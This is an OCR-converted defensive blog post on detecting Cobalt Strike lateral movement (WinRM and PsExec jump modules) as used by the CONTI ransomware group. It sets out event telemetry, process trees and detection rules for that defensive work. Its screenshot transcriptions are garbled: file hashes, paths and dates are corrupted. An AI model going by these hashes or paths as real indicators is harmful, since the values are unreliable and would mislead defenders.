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Detecting CONTI CobaltStrike Lateral Movement Techniques - Part 1

Detection opportunities on lateral movement techniques used by CONTI ransomware group
using CobaltStrike.

Introduction:

In an attempt to contribute to the defensive capabilities of security teams regarding the
increase of CobaltStrike usage by threat actors (TA) and in a joined effort with
@MichalKoczwara, a series of articles will be released on CobaltStrike's TTP detections
related to the CONTI leak.

For the first part of this blog post, | will cover detection opportunities for lateral movement
(LM) techniques used by the TA CONTI via CobaltStrike. Keep in mind that | tried to boil it
down to analytics that can be used for other lateral movements variation and not just specific
to CONTI Group or CobaltStrike (CS).

Definition:
MITRE ATT&CK defines lateral movement as :

Lateral Movement consists of techniques that adversaries use to enter and control
remote systems on a network. Following through on their primary objective often
requires exploring the network to find their target and subsequently gaining access to
it. Reaching their objective often involves pivoting through multiple systems and
accounts to gain. Adversaries might install their own remote access tools to
accomplish Lateral Movement or use legitimate credentials with native network and
operating system tools, which may be stealthier.

Looking in the CobaltStrike documentation we can find some built-in modules for Lateral
Movement defined in the table bellow which were included in the leaked documentation:

Jump Module
Arch

Description
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psexec

x86

Use a service to run a Service EXE artifact
psexec64

x64

Use a service to run a Service EXE artifact
psexec_psh

x86

Use a service to run a PowerShell one-liner
winrm

x86

Run a PowerShell script via WinRM
winrm64

x64

Run a PowerShell script via WinRM

Other capabilities are used by the group like Remote-Exec command, PTH module, RDP
and SHELL command to remotely execute commands using WMIC.EXE utility. | will go
through these TTPs in the second part.

Remote-Exec Module

Description

psexec

Remote execute via Service Control Manager
winrm

Remote execute via WinRM (PowerShell)
wmi

Remote execute via WMI (PowerShell)
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Simulation Setup
CobaltStrike
Zeek
Elastic Stack (Winlogbeat + Filebeat)

Sysmon Configuration Blacksmith OTRF
VICTIM Windows 10 user machine (Initial Access)

DC_ATLAS Domain Controller Windows Server 2016 (Lateral Movement Target)

T1021.006 Remote Services: Windows Remote Management

A primer to WinRM

WinRM is the Microsoft implementation of WS-Management protocol which is an open
source standard for constructing XML messages following the standards of Simple Object
Access Protocol (SOAP) messages.

This great blog explain in simple steps a typical WinRM based conversation for invoking
commands:
1. 1.
Send a Create Shell message and get the shell id from the response
2. 2.
Create a command in the shell sending the command and any arguments and grab the
command id from the response
3. 3.
Send a request for output on the command id which may return streams (stdout and/or
stderr) containing base64 encoded text.
4. 4.
Keep requesting output until the command state is done and examine the exit code.

5. 5.

Send a command termination signal
6. 6.

Send a delete shell message

| will go more in depth about WinRM from a defensive perspective during lateral movement
in a separate blog but for more details | recommend checking the official documentation [MS-
WSMV]. However, a couple of things we should keep in mind when it come to the limitations
of WinRM and why PowerShell Remoting Protocol (PSRP) is much better choice to go with.
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The default value of a SOAP message size 512KB and a maximum of 8192KB. This
attribute can be modified with the following command : winrm set winrm/config/winrs
'@{<Quota>="<Value>"}" .

WinRM also doesn't have a built-in functionality for file transfer. We will learn in the next
section that PowerShell Remoting Protocol (PSRP) is much better alternative.

Windows Built-in WinRM tools

In order to understand CobaltStrike WinRM beacon capabilities, first, | tried to see normal
behavior of some of the tools that can be used in a legitimate way. There are 3 main ways to
execute command remotely using WinRM:

WinRS:

Windows Remote Shell built-in tool is a pure implementation of remote command execution
via WinRM. Upon executing a command using winrs.exe utility via the command winrs -
r:dc_atlas "ipconfig" the following telemetry was recorded on the destination:

svchost.exe spawns winrshost.exe with the parent command line
C:\\Windows\\system32\\svchost.exe -k DcomLaunch

Event 1, Sysmon

General Details

Process Create:

RuleMarme: -

UtcTime: 2021-10-07 12:40:15.446

ProcessGuid: {a7dd6658-eaaf-615e-5101-000000001300}

Processld: 6632

Image: CAWindows\System32\winrshost.exe

FileWersion: 10.0.14393.0 (rs1_release. 160713-1616)

Description: Host Process for WinRM's Rernote Shell plugin

Product: Microsoft® Windows® Operating System

Company: Microsoft Corporation

OriginalFileName: winrshost.exe

CommandLine: CA\Windows\system32\WinrsHost.exe -Embedding
CurrentDirectony: C\Windows\systern3 2\,

User: ATLAS\Administrator

LegonGuid: {a7dd6658-eaaf-615e-902c-620000000000}

Logonld: 0x622C50

TerminalSessionld: 0

IntegrityLevel: High

Hashes: SHA1=50D3607204F202876C1C32BD0B3D591 CCO83DCA3A MD5=F40ECIECATADBCETF26FA20T0010714,5HA256=
GOTCOT14ASCASITFFADSOBCDO0095C01E4E6BEST DOET 3473 CTOE4699CH E31453, IMPHASH=4216D8ETF36901861 DFD6309B49BCFI6
ParentProcessGuid: {a7dd6658-d%6e-615e-0c00-000000001900}
ParentProcessld: 940

Parentlmage: C\Windows\System32\svchost.exe

ParentCommandLine: C\Windows'system32\swchost.exe -k DcomLaunch

The winrshost.exe theninvokes cmd.exe instance and execute the command
within its context.
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Event 1, Sysmon

General Details

Process Create:

RuleMName: -

UtcTirmne: 2021-10-07 12:40:15.878

ProcessiGuid: {a7dd6658-eaaf-615e-3301-000000001200}

Processld: 268

Image: C:\Windows\System32\cmd.exe

FileVersion: 10.0.14383.0 (rs1_release. 160713-1616)

Descripticn: Windows Cormmand Processor

Product: Microsoft® Windows® Operating Systern

Company: Microsoft Corporation

OriginalFileName: Cmd.Exe

CommandLine: C\Windows\system32\cmd.exe /C ipcenfig
CurrentDirectory: C:\Users\Administrator'

User: ATLAS\Administrator

LogonGuid: {a7dd6658-eaaf-615e-902c-620000000000}

Logonld: 0x622C%0

TerminalSessionld: 0

IntegrityLevel: High

Hashes: SHA1=99AEIC73EIBEEGFICTEDAFA003A0882DF06832CF, MD5=F4F684066175B77E0CIAD00549D2922C, SHA256=
935C18610F1F4018D698E8B65ABFAOZDTES037DAFERCAIC2065B6CA165044AD2, IMPHASH=3062ED732D4B2501 Co4F084DACITDITA
ParentProcessGuid: {a7dd6658-eaaf-615e-3101-000000001900}
ParentProcessld: 6632

Parentimage: CA\Windows\System32\winrshost.exe
ParentCommandLine: C:\Windows\system32\WinrsHost.exe -Embedding

Event 1, Sysmon

General Details

Process Create:

RuleMame: -

UtcTime: 2021-10-07 12:40:15.913

ProcessGuid: {a7dd6658-eaaf-615e-5401-000000001900}

Processld: 4828

Image: CAWindows\System32\ipconfig.exe

FileVersion: 10.0.14393.0 (rs1_release. 160713-1616)

Description: IP Configuration Uility

Product: Microsoft® Windows® Operating System

Company: Microsoft Corporation

OriginalFileMame: ipconfig.exe

CommandLine: ipconfig

CurrentDirectory: Ch\Users\Administrator,

User: ATLAS\Administrator

LogonGuid: {a7dd6658-eaaf-615e-902c-620000000000}

Logonld: Dxb22C90

TerminalSessionld: 0

IntegrityLevel: High

Hashes: SHA1=A95BEAASBB1FDT9SDBA051ATSDI59908FFBDB22F, MD5=29916DCEAS377C19996B417D9235F42F, SHA256=
5EE3FD7CA1ACE76D0DES39D469BFC333594FCAIDFIF3TTCCO6CT5609648657F 1, IMPHASH=3636F50089F2190E3308EBAEASF2043A
ParentProcessGuid: {a7dd6658-eaaf-615e-5307-000000001300}
ParentProcessld: 268

Parentlmage: ChAWindows\System32hcmd.exe
ParentCommandLine: C:\Windowshsystem32\crmd.exe /C ipconfig

After finishing the execution of the command these processes are terminated because
winrs.exe doesn't support persistent sessions so every time you execute a command
remotely this behavior repeats itself.
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Parent Command Line

C:\Windows\system32\cmd.exe /C [COMMAND]

svchost.exe B winrshost.exe - cmd.exe

Parent Command Line

C:\Windows\system32\svchost.exe -k DcomLaunch

winrs process tree

Invoke-Command & Enter-PSSession :

These PowerShell cmdlets use the PowerShell Remoting Protocol [MS-PSRP] which is a
separate protocol that runs over WinRM. PSRP supports many message types to execute
commands and retrieve their outputs and its main difference from WSMV specs is its
message fragmentation handling process which makes it more reliable vis-a-vis WinRM
message size limitations.

While testing these cmdlets, the following telemetry was recorded on the destination:

svchost.exe spawns wsmprovhost.exe with the parent command line
C:\Windows\system32\svchost.exe -k DcomLaunch

RUNNING PROCESS
svchost.exe

183 configuration = 64 file

183 registry

-

RUNNING PROCESS
wsmprovhost.exe
196 configuration = 20 file
196 registry

“op,
- ANALYZED EVENT - TERMINATED PROCESS

s

2 configuration = 1 network
2 registry

U TERMINATED PROCESS

4

Executing nslookup command via Enter-PSSession
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Event 1, Sysmon

General  Details

Process Create:

RuleMarne: -

UtcTime: 2021-10-07 12:48:52.087

ProcessGuid; {a7dd6658-ecb4-615e-3001-000000001900}

Processld: 4316

Image: CA\Windows\System32\ipconfig.exe

FileVersion: 10.0.14333.0 (rs1_release. 160715-1616)

Description: IP Configuration Utility

Product: Microsoft® Windows® Operating System

Company: Microsoft Corporation

OriginalFileMame: ipconfig.exe

CommandLine: "CA\Windows\system32\ipconfig.exe”

CurrentDirectory: ChUsers\Administrator\Documents',

User: ATLAS\Administrator

LogonGuid: {a7dd6658-ecab-615e-e6b5-670000000000}

Logonld: 0x67B5ER

TerminalSessionld: 0

IntegrityLevel: High

Hashes: SHA1=AS5BEAABBE1FDTIIDBE051ATIDISS90BFFEDE22F, MD5=29916DCEASITTC19996B417D9235F42F, SHA256=
SEE3FDTCATACATADODES39D4659BFCI33504FCAIDFIF3T7CCI6CTI609648657F 1, IMPHASH=3636F50089F8100E3308E8AEABFZ043A
ParentProcessGuid: {a7dd6658-ecab-615e-3501-000000001300}
ParentProcessld: 5033

Parentimage: C\Windows\System32\wsmprovhost.exe
ParentCommandLine: C:\Windows\systern32vwsmprovhost.exe -Embedding

Executing ipconfig via Invoke-Command

Invoke-Command & Enter-PSSession both run commands within the context of
wsmprovhost.exe

The difference between these two cmdlets is that Invoke-Command will terminate
wsmprovhost.exe process after receiving the output while the Enter-pPSSession will
establish a persistent session.

Invoke-Command
Enter-PSSession

Parent Command Line

C:\Windows\system32\wsmprovhost.exe -Embedding

Y

[TARGET.EXE]

svchost.exe - wsmprovhost.exe

Parent Command Line

C:\Windows\system32\svchost.exe -k DcomLaunch

Invoke-Command & Enter-PSSession process tree

Now that we have established what telemetry can be left behind by using Windows built-in
tools we can distinguish suspicious process behavior. lets see in the following section how
CS default configurations for lateral movement behave.

CobaltStrike jump winrm
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First, lets discover the telemetry that will be generated from source and destination for every
attempt to use WinRM remotely:

On the source:
EID
Action
Provider
Comment
6
WSMan Session Creation
Microsoft-Windows-WinRM
Creating WSMan Session. This event will give you the PID that initiated the connection
31
WSMan Session Creation
Microsoft-Windows-WinRM
WSMan Session Created Successfully
3
Network Connection
Microsoft-Windows-Sysmon
Network Direction: egress
Infected Source Process Name
Destination port : 5985 or 5986
On the destination:
EID
Action

Provider
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Comment
1
WSMan Session Creation
Microsoft-Windows-Sysmon
Process Name : wsmprovhost.exe
Process CMD : C:\Windows\system32\wsmprovhost.exe -Embedding
Process Parent Name : svchost.exe
Process Parent CMD : C:\Windows\system32\svchost.exe -k DcomLaunch
3
WSMan Session Creation
Microsoft-Windows-Sysmon
Network Direction: ingress
Process Name: System
Destination port : 5985 or 5986
User : NT AUTHORITY\SYSTEM
17
Pipe Created
Microsoft-Windows-Sysmon
Network Direction: egress
Infected Source Process Name
Destination port : 5985 or 5986

Pipe Name : \PSHost.[%NUMBERS%] .
[%PID%] .DefaultAppDomain.wsmprovhost

Process Name : wsmprovhost.exe

4656
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Process Access
Microsoft-Windows-Security-Auditing
Object Server : WS-Management Listener
Process Name : C:\Windows\System32\svchost.exe
400
PowerShell Session Start
PowerShell
Host Name = ServerRemoteHost (Remote PowerSehll Session)
Engine Version (Good for Downgrading PS attacks)
Host Application : C:\Windows\system32\wsmprovhost.exe -Embedding
91
WSMan Session Creation

Microsoft-Windows-WinRM

31

WSMan Session Creation
Microsoft-Windows-WinRM

WSMan Session Created Successfully
142

WSMan Operation Failure
Microsoft-Windows-WinRM

Helpful when WinRM is not enabled on the targeted host

Other events are generated on the destination side but these in the previous table are the
most relevant to remote WinRM activity. You can use them according to your collection and
correlation strategy. Obviously, EID 1, EID 91 and EID 4656 have much higher event
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decisiveness than the rest. | will be releasing a Mindmap that groups all this telemetry in one
place at the end of this blog post series.

Now jumping to jump winrm command and some first differences in process tree behavior
were observed at execution time:

jump winrm command generated the same telemetry as in previous observations
except that the beacon runs under the context of a PowerShell instance invoked by
wsmprovhost.exe . This is not something we can normally observe by using winrs ,
Invoke-Command or Enter-PSSession except if the command invoked
powershell.exe itself then PowerShell cmdlets would produce this behavior.

By default the powershell.exe instance run via the command line :
"c:\windows\syswow64\windowspowershell\vl.0\powershell.exe" -Version
5.1 -s -NoLogo -NoProfile

Event 1, Sysmon

General Details

Process Create:

RuleMame: -

UtcTime: 2021-10-07 12:56:50.477

ProcessGuid: {a7dd6658-ee92-615e-6101-000000001900}

Processld: 3724

Image: CAWindows\SysWOWed cmd.exe

FileVersion: 10.0.14393.0 (rs1_release. 1607153-1616)

Description: Windows Command Processor

Product: Microseft® Windows® Operating System

Company: Microsoft Corporation

OriginalFileMame: Crnd.Exe

CommandLine: C\Windows'\system32\cmd.exe /C systeminfo

CurrentDirectory: C\Windows\systern32\,

Usern ATLAS\Administrator

LogonGuid: {a7ddb658-e28f-615e-ccdB-330000000000}

Logonld: 0x39D9CC

TerminalSessionld: 0

IntegrityLevel: High

Hashes SHA1=AAD7BI9EBT16919BBAT448E 135048941 100BATOC, MD5=0FEC5F30ETOSEADAEASEI144F2FB12DC, SHA256=
614CATBE2T333E22AA3EFC3594605DCEFERFODOBOCCZBBASECEATCARDGTIECTF, IMPHASH=B20DESD5F25TE3CSBDD2834F89FC0424,
ParentProcessGuid: {a7ddbb38-e291-615e-0901-000000007300}

ParentProcessld: 6100

Parentlmage: ChAWindows\SysWOWeSWindowsPowerShellw1.0\powershell.exe

ParentCommandLine: "c\windows\syswowbdwindowspowershellw1.0hpowershell.exe" -Version 5.1 -s -MolLogo -MNoProfile

CobalStrike provides a shell command to interact with the beacon and execute
command. The shell command spawns a cmd.exe instance from the invoked
powershell.exe process for every executed command
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RUNNING PROCESS
,'?’ﬁ
Mt RUNNING PROCESS
2,
‘Gth\?.,s ANALYZED EVENT - RUNNING PROCESS
powershell.e...
1;,“’@'

g,

’""Ec% RUNNING PROCESS
3

TERMINATED PROCESS

cmd.exe

3
i
o, TERMINATED PROCESS

gy
N Cosemios..

71
s,,&%
°c%w TERMINATED PROCESS
3

W Coomonoe |

Executing systeminfo command via jump winrm beacon.

A general diagram of process tree observed during the execution of this CS module is

illustrated bellow:

Parent Command Line

Parent Command Line

C:\Windows\system32\wsmprovhost.exe -Embedding

svchost.exe }—P{ wsmprovhost.exe }—F{ powershell.exe }—V‘ cmd.exe }—b{ [TARGET . EXE] ‘

Parent Command Line

C:\Windows\system32\svchost.exe -k DcomLaunch

jump winrm process tree diagram

Parent Command Line

"c:\windows\syswowb4\windowspowershell\v1.0\powershell.exe"
-Version 5.1 -s -NoLogo -NoProfile

C:\Windows\system32\cmd.exe /C [COMMAND]

CobaltStrike jump winrm64

Here are the main differences from jump winrm command :

Like Enter-PSSession, jump winrmé64 executes commands within the context of a
wsmprovhost.exe instance. The session is persistent no termination of the

wsmprovhost.exe process was observed.
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o RUNNING PROCESS

’s,

g
K ANALYZED EVENT - RUNNING PROCESS
wsmprovhos...

<o,
'

Mt TERMINATED PROCESS
&
0"-‘;;‘,,‘,.9
0 TERMINATED PROCESS
o . -
2 ipconfig.exe
Mg TERMINATED PROCESS
cmd.exe g
%% TERMINATED PROCESS
5
S8,
s,,m&
oo TERMINATED PROCESS
'y

: HOSTNAME....
-?‘;n

ity
”“ne% TERMINATED PROCESS
e

conhost.exe

Executing ipconfig and hostname command via a jump winrm64 shell

Parent Command Line

Ci\Windows\system32\wsmprovhost.exe -Embedding
svchost.exe wsmprovhost.exe cmd.exe [TARGET.EXE]
Parent Command Line Parent Command Line
C:\Windows\system32\svchost.exe -k DcomLaunch C:\Windows\system32\cmd.exe /C [COMMAND]

Jump winrm64 process tree diagram

Evidence of Execution

In the previous sections we have established some key observations regarding remote
command execution via WinRM. However, during the demo, | used a stageless beacon. The
script first decodes the Base64 encoded payload then it uses the .Net API to call
Windows API function in memory using assemblies. The script then allocates some memory
and copies the payload in the allocated memory space. The payload was a 64-bits DLL and
technique used was DLL Reflective Loading.

The payload strings contained by default:
"beacon.dll"
"beacon.x86.dll"
"beacon.x64.dll"

This yara rule can be effective in detecting default usage of CS stageless beacons.
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https://github.com/airbnb/binaryalert/blob/master/rules/public/hacktool/windows/hacktool_windows_cobaltstrike_beacon.yara

The following PowerShell events were observed on the target:

EID 4104 Script Block Logging:

This event can be considered noisy, so be careful during you detection
engineering process and consider its verbosity.

Script blocks exceeding the maximum length of an event log message are
fragmented into multiple entries.

Unlike EID 4103 , this event doesn't record the output of the script

I Ntfs ~

3
b [ NTLM
b ] OOBE-Machine-DUI
1 ] PDFReader
I [ Policy-based QoS
4 [ PowerShell
& Admin
4 [ PowerShell-DesiredStateConfiguration-FileDown|
=] Operational
b [ PrimaryNetwerklcon
b [ PrintService
1 [ PushMotifications-Platform
I [ RasClusterResource
b [ Rdms-Ul
b [ ReadyBoost
1 | Reliability-Analysis-Engine
I [ RemoteApp and Desktop Connections
b [ RemoteDesktopServices-RdpCoreTs.
I [ RemoteDesktopServices-SessionServices
b | Remotefs-Relbss
b [] Resource-Exhaustion-Detector
b [l RestartManager
I [ Security-Audit-Configuration-Client
1 (] Security-Configuration-Wizard
I (] Security-EnterpriseData-FileRevocationManager
b [ Security-ExchangeActiveSyncProvisioning
b [ Security-Kerberos
b ] Security-Netlagon
I [ Security-SPP-UX-GenuineCenter-Logging
b [ Security-SPP-UX-Notifications
b (] Security-UserConsentVerifier
3
3
3
3
3
3
3
3
3

] ServerEssentials-Deployment =

= ServerManager-ConfigureSMRemoting
" ServerManager-DeploymentProvider
| ServerManager-ManagementProvider
I ServerManager-MultiMachine

= Service Reporting API

| Shell-ConnectedAccountState

| Shell-Core

= SilProvider

| Conmcsanad

Generates a large volume of events

Operational

Level
@ Verbose
@ Verbose
@ Verbose
@ Verbose
@ Verbose
@ Verbose
@ Verbose
@ Verbose
@ Verbose

@ Verbose
)

Number of events: 3,145

Date and Time

8/30/2021 3:23:38 PM
8/30/2021 3:23:38 PM
8/30/2021 3:23:38 PM
8/30/2021 3:23:38 PM
8/30/2021 3:23:38 PM
8/30/2021 3:23:38 PM
8/30/2021 3:23:37 PM
8/30/2021 3:23:29 PM
8/30/2021 3:23:29 PM

Source

PowerShell (Microsoft-Windows-...
PowerShell (Microsoft-Windows-...
PowerShell (Microsoft-Windows-...
PowerShell (Microsoft-Windows-...
PowerShell (Microsoft-Windows-...
PowerShell (Microsoft-Windows-...
PowerShell (Microsoft-Windows-...
PowerShell (Microsoft-Windows-...
PowerShell (Microsoft-Windows-...
PowerShell (Microsoft-Windows-...
PowerShell (Microsoft-Windows-...

Event ID

Task Category
Execute 2 Remote Command
Execute 3 Remote Command
Execute 3 Remote Command
Execute 2 Remote Command
Execute a Remote Command
Bxecute a Remote Command
Starting Command
Starting Command
Starting Command
Starting Command
Starting Command

Event 4104, P

rShell (Mici

General | Details

Creating Scriptblock text (1 of 1:
param(Sline, SlastWord)
&y

function Write-Members (Ssep=")
{

Expression (S_val='+ §_

§_method = [Management. Automation PSMemberTypes]
ScriptMethod Parameter 7

“Miethod,C  Script perty

if (Ssep -eq )

Sparams = @{view = 'edended’,'adapted", base'}
else
i

Sparams = @{static="Strue}
foreach (S_m in S val | Get-Member @params §_pat |

Sort-Object membertype, name)

if (S_m.MemberType -band §_method)

{

#Return a method...

§_base + §_expression + Ssep + §_m.name + '(
1

EID 4103 Module Logging:

Records the output of the executed commands

Keep in mind that these event are not enabled by default.

Sigma Rules

PowerShell Events : Remote PowerShell Session by @Cyb3rWardQg

Sysmon Process : Remote PowerShell Session by @Cyb3rWardQOg

Windows Events : Remote PowerShell Session by @Cyb3rWardQg

Sysmon Network : Remore PowerShell Session by @Cyb3rWard0g

Detection Validation
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https://github.com/SigmaHQ/sigma/blob/master/rules/windows/powershell/powershell_remote_powershell_session.yml
https://twitter.com/Cyb3rWard0g
https://github.com/OTRF/ThreatHunter-Playbook/blob/master/signatures/sigma/sysmon_remote_powershell_session_process.yml
https://twitter.com/Cyb3rWard0g
https://github.com/OTRF/ThreatHunter-Playbook/blob/master/signatures/sigma/win_remote_powershell_session.yml
https://twitter.com/Cyb3rWard0g
https://github.com/OTRF/ThreatHunter-Playbook/blob/master/signatures/sigma/sysmon_remote_powershell_session_network.yml
https://twitter.com/Cyb3rWard0g

In order to validate your detection rules against WinRM being used for remote command
execution, Atomic Red Team provides a great guide bellow:

atomic-red-team/T1021.006.md at master - redcanaryco/atomic-red-team

GitHub

DFIR

In DFIR engagements these events can be good source of information to get the right attack
attributions:

EID 142 WSMan operation CreateShell failed (Helpful when WinRM is not enabled on
the target host)

EID 169 User Authenticated Successfully (The user who was connected remotely)
EID 81 Processing Client Request for Operation CreateShell (Start of remoting activity)
EID 134 Sending Response for Operation DeleteShell (End of remoting activity)

EID 403 Engine state is changed from Available to Stopped (This event records the
completion of a PowerShell activity)

WinRM event logs lack simple attribution and traceability meaning you need multiple
correlation layers in order to identify the user, source IP and the ID of the infected process.

The command Get-WSManInstance -ComputerName localhost -ResourceURI Shell -
Enumerate lists all currently active remote WinRM sessions and provides useful information

Owner : Username that opened the remote session
ClientIP: Source IP from where the attacker attempted to move laterally.

ProcessID: In this case it is wsmprovhost.exe where the executed commands will be
invoked from.

ChildPocesses: Number of child processes it opened.

MemoryUsed: Can be good indicator since winrmé4 CS module used more than
twice the memory used by Enter-PSSession for the same command.
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PS C:\\Users\\Administrator> Get-WSManlInstance -ComputerName localhost -ResourceURI

Shell -Enumerate

2

3

rsp : <http://schemas.microsoft.com/wbem/wsman/1/windows/shell>

4
lang : en-US

5

Shellld : 04E49AF8-1CA8-4ACC-9135-6A3269115F3E

6

Name : WinRM1

7

ResourceUri : <http://schemas.microsoft.com/powershell/Microsoft.PowerShell>

8

Owner : ATLAS\\Administrator
9

ClientlP : 10.10.10.30

10

Processld : 2844

11

IdleTimeOut : PT7200.000S
12

InputStreams : stdin pr

13
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OutputStreams : stdout

14

MaxIdleTimeOut : PT2147483.647S
15

Locale : en-US

16

Datalocale : en-US

17

CompressionMode : XpressCompression
18

ProfileLoaded : Yes

19

Encoding : UTF8

20

BufferMode : Block

21

State : Connected

22

ShellRunTime : PODTOH4M32S
23

Shelllnactivity : PODTOH1M28S
24

MemoryUsed : 134MB

25

ChildProcesses : 2
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localhost

nan,/1,/windo zhell

9 Username

Source IP

wsmprovhost_exe pud

Status

St: i onnected

ShelTRunTime : PODTOHIMBS

ShellInactivity : PODTOHOMS2S .

MemoryUsed : 62ME # Child Processes
ChildProcesses : O

A good idea would be to generate an event with the output of this command every time the
process wsmprovhost.exe is created using scheduled tasks.

T1570 : Lateral Transfer Tool

CobaltStrike jump psexec & psexec64

I love going through ZEEK logs first and look for network related telemtery specially for
lateral movement techniques. When using CS psexec or psexec64 modules for lateral
movement | observed remote service creation.

These modules use named pipes (RPC/NP) method to interact with the service control
manager (SCM) RPC server. The server interface is identified by UUID 367ABB81-9844-
35F1-AD32-98F038001003 and uses RPC endpoint \\PIPE\\svcctl .

The following ZEEK event logs were recorded :

ZEEK DCE-RPC event was generated with DCE-RPC endpoint svccTL and
operation CreateServiceWoW64A

Time - network_protocol zeek.dee_rpe.endpoint zeek.dee_rpe.named_pipe zeek.dee_rpe.operation
> Oct 7, 2021 @ 18:33:45.608 dce_rpc svectl \pipe\ntsvcs CloseServiceHandle

> Oct 7, 2027 @ 18:33:45.602 dce_rpc svectl \pipe\ntsvcs CloseServiceHandle

» Oct 7, 2821 @ 18:33:45.592 dce_rpc svectl \pipe\ntsvcs DeleteService

2 Oct 7, 2827 @ 18:33:45.435 dce_rpc svectl \pipe\ntsvcs StartServiceA

2 Oct 7, 2027 @ 18:33:45.429 dce_rpc svectl \pipe\ntsvcs CreateServiceNOW64A
> 0ct 7, 2821 @ 18:33:45.425 dee_rpe sveetl \pipe\ntsves OpensSCManageri

Zeek DCE-RPC Telemtry for Service Creation
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2

On the target EID 5145 A network share object was checked to see whether client

can be granted desired access will be generated with Relative Target Name
defined as svcCTL and Share Name \*\IPC$

Gct 7, 2821 @ 18:33:45.885 6886TcH.exe

Gct 7, 2821 @ 18:33:45.058 svcctl

A service is then created with a random name and Image Path calling the process via

Y22\C:\Windows

\\*\ADMINS

WH\IPCS

A network share object was checked teo
see whether client can be granted des
ired access. Subject: Security ID: S-
1-5-18 Account Name: DC_ATLASS Accoun
t Domain: ATLAS Logon ID: 8x3E7 Netwo
rk Information: Object Type: File Sou
rce Address: 127.8.8.1 Source Port: 4

A network share object was checked teo
see whether client can be granted des
ired access. Subject: Security ID: S-
1-5-21-32780854847-2436619386-31898512
55-560 Account Name: Administrator Ac
count Domain: ATLAS Logon ID: 6x123CS
A Network Information: Obiect Twoe: F

axieesal

ax12819f

the command \\127.0.0.1\ADMIN$\[SERVICE_RANDOM_NAME].exe . This will

generate EID 7045 New Service Was Installed and EID 4697 A Service Was

Installed in the System

Time « message

Oct 7, 2821 @ 18:33:45.878 A service was installed in the system. Service Name: £6886fc® Service File Name

winlog.event_data.ImagePath

\1\127.8.8.1\ADMINS\6886FcB .exe

\\127.2.0. 1\ADMINS\6886Fca . exe Service Type: user mode service Service Start Ty
pe: demand start Service Account: LocalSystem

Process Create:
RuleName: -
UtcTime: 2621-18-87 17:33:45.894

ProcessGuid: {A7DDBB58-2F79-615F-8366-000000001A08 )

ProcessId: 4712

Image: \\127.08.8.71\ADMINS\6886Tc@.exe
FileVersion: -

Description: -

Product: -

Company: -

OriginalFileName: -

CommandLine: \\127.8.0.1\ADMINS\6886TCB.exe

CurrentDirectory: C:\Windows\system32\
User: NT AUTHORITY\SYSTEM

LogonGuid: {A7DD6658-2E11-615F-E703-000800000000}

LogonId: &x3E7
TerminalSessionId: @
Integritylevel: System

Hashes: SHA1=0F72DA2ED3E3771483DDAGFAGB1F23EAESDBBEDT , MD5=15BC28D6C8EF946DAT146F80DBCE2BS5F , SHA256=FABGE 55B9CCDSSEFR1CDB34844A69F3F7785A8E67A360554592BD0387ADEA4AS, IMPHASH=DE77TF3139EAFTAF1B2554

B7BEBB66BSF

ParentProcessGuid: {A7DD6658-2E11-615F-BABO-0000066E1ABE}

ParentProcessId: 768

ParentImage: C:\Windows\System32\services. exe
ParentCommandLine: C:\Windows\system3z\services.exe

winlog.event_data.AccountName

winlog.event_data.ServiceName

LocalSystem 6886fcH

Then \\127.0.0.1\ADMINS$\[SERVICE_ RANDOM_NAME].exe is executed and it

invokes a rundl132.exe instance with no arguments which is very suspicious.

Process Create:
RuleName: -
UtcTime: 2821-18-87 17:33:46.266

ProcessGuid: {A7DD6658-2F7A-615F-8460-000000081A08}

ProcessId: 5568

Image: C:\Windows\SysWOW64\rundl132.exe
FileVersion: 18.0.14393.@ (rsl_release.160715-1616)
Description: Windows host process (Rund1132})
Product: Microsofts Windowse Operating System

Company: Microsoft Corporation
OriginalFileName: RUNDLL32.EXE

CommandLine: C:\Windows\System32\rund1132.exe

CurrentDirectory: C:\Windows\system3d2\
User: NT AUTHORITY\SYSTEM

LogonGuid: {A7DD6658-2E11-615F-E703-000800060000 }

LogonId: @x3E7
TerminalSessionId: @
Integritylevel: System

Hashes: SHA1=E9BFGCAAF1A4A146BF3FBS4D986666DECCCDTS3T, MD5=111474C61232202B5858802B512CBB25, SHA256=D25FF 1E6C6468A7FIDE3S198D182058C17127260080187E1953B83ABET7E4AR, IMPHASH=B79A26282DC6494FFDAYT

73EB3BDABGA

ParentProcessGuid: {A7DD6658-2F79-615F-8300-000000081A00 }

ParentProcessId: 4712

ParentImage: \1\127.8.0.1\ADNINS\6886TcH . exe
ParentCommandLine: \\127.6.6.1\ADMINS\6886TcB.exe
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BETA

RUNNING PROCESS
AllProcess Events [ smssee |

2,

. TERMINATED PROCESS
Process Name Timestamp .

smss.exe

Oct7,2021 @ B
° smss.exe . s

g2z %5% RUNNING PROCESS

% —

Oct7,2021 @

W smss.exe 18:27:44.647 25,
""eq%l RUNNING PROCESS
QoSS0
wininit.exe 189725.030

S
Mgy TERMINATED PROCESS
Oct 7, 2021 @

18:27:45.259 . 6886fc0.exe

,
oct 7, 2021 e .

N 6886fc0.exe . @ g ANALYZED EVENT - RUNNING PROCESS
183345008 rundii32.exe

/ANALYZED EVENT Oct7,2021 @
o rundli32.exe 18:33:46.266

° services.exe

Interacting with the beacon via SHELL command invokes a CMD instance

RUNNING PROCESS
% .
services.exe
"h;
”‘lf% TERMINATED PROCESS

. 68861cO. exe

7

5

oy ANALYZED EVENT - RUNNING PROCESS
rundll32.exe

?
TERMINATED PROCESS

™ P ]

%
o%.
TERMINAT ED PROCESS

‘7’8
net exe

’3’%% TERMINATED PROCESS
‘ conhost.exe

Exeecuting Net command via jump psexec installed beacon

jump psexec .
Parent Command Line

N\\127.0.0.1\ADMIN$\RANDOM. exe

services.exe - RANDOM. exe = rundl132.exe > cmd. exe
Parent Command Line Parent Command Line
C:\Windows\system32\services.exe C:\Windows\system32\rundl132.exe

The following table is a summary of the observed telemetry relevant to this lateral movement
technique.

EID

Action
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Provider
Comment
5145
Network Share Access
Microsoft-Windows-Security-Auditing
Relative Target Name : svcctl
Share Name : \*\IPC$
7045
Service Creation
System
Service File Name: \\127.0.0.1\ADMIN$\[SERVICE_RANDOM_NAME].exe
4697
Service Creation
Microsoft-Windows-Security-Auditing
Service File Name: \\127.0.0.1\ADMIN$\[SERVICE_RANDOM_NAME].exe
1
Process Creation
Microsoft-Windows-Sysmon
Command Line : \\127.0.0.1\ADMIN$\[SERVICE_RANDOM_NAME].exe
Parent Command Line : C:\Windows\System32\services.exe
1
Process Creation
Microsoft-Windows-Sysmon
Command Line : C:\Windows\System32\rundl132.exe

Arguments count : 0

21/27



Parent Image : \\127.0.0.1\ADMIN$\[SERVICE_RANDOM_NAME].exe
13
Registry Value Set
Microsoft-Windows-Sysmon

